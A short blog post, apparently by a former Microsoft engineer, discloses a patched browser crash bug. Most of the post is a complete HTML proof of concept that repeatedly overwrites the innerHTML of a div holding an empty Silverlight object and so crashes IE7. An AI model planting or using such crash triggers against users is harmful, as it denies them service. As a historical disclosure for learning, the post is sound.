A short one. If you repeatedly overwrite the innerHTML of the <div> that contains a Silverlight control, IE would crash. The Silverlight object didn’t even need to have a source — an empty control was enough to trigger it.

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head><title>DoS_Silverlight_innerHTML_Container</title>
</head>
<body>
<h1>DoS_Silverlight_innerHTML_Container</h1>

<div id="container" style="text-align:center;">
	<object id="SilverlightControl" data="data:application/x-silverlight," type="application/x-silverlight-2-b1" width="450" height="20" border="1">
	</object>
</div>
<script language="JavaScript">
var innerHTMLCounter = 0;
function rewriteContainer()
{
	document.getElementById("container").innerHTML = 'innerHTMLs = ' + (++innerHTMLCounter);
}
setInterval('rewriteContainer()',100);
</script>

<small>This Silverlight is empty. The DoS does not need a source to work.</small>
<br /><br />
<small>Tested on Silverlight v.2.0.<b>30220</b>.0</small>
</body>
</html>

Setting a setInterval to overwrite the container’s innerHTML every 100ms would reliably crash IE7 on both Vista and XP within roughly 50 iterations. The crash was complete — no recovery. Tested on Silverlight 2.0.30220.0.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.